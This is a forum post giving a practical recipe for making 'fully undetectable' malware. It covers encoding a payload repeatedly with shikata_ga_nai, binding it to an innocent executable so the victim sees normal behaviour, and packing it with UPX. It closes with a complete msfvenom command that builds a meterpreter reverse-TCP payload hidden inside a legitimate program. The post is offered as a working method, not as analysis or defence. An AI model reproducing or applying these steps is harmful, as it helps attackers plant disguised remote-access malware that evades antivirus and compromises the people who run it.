Sep 26, 2018 08:10 PM
(This post was last modified: Sep 26, 2018 08:56 PM by sh4moon.)
The secret (not secret at all, very well known) formula to making a "FUD" .exe is as follows: First of all, encode the payload. Give it at least 10 iterations of something like shikata_ga_nai.
This brings down the detection rate a little by itself but it adds up when used with the other techniques. Next we bind it to another executable like a game, notepad ( -x is the path to the executable, -k means the innocent exe still runs the same and the malware is just added to the end). Just has to be something less suspicious than your malware. Binding just puts the two files together and when you execute the new executable, both files get executed. Binding is the part that got my detection rate down most, and also makes the malware less suspicious than when you execute it and nothing happens. Lastly you need to compress the file. I don't mean put it in a .zip archive. Use something like UPX (ultimate packer for executables) to make the file smaller: https://github.com/upx/upx. There are other tools to bind the files together. I haven't really found one I like a lot, so I just use metasploit's. This isn't really guaranteed to 100% prevent AV detection, but it is very effective. As for runtime detection, that has more to do with what your malware is doing and less with the file itself. It's not perfect, but it works well.
Code
msfvenom -p windows/x64/meterpreter/reverse_tcp -e x64/shikata_ga_nai -i 20 -x /path/to/innocent/executable.exe -k > Malware.exe

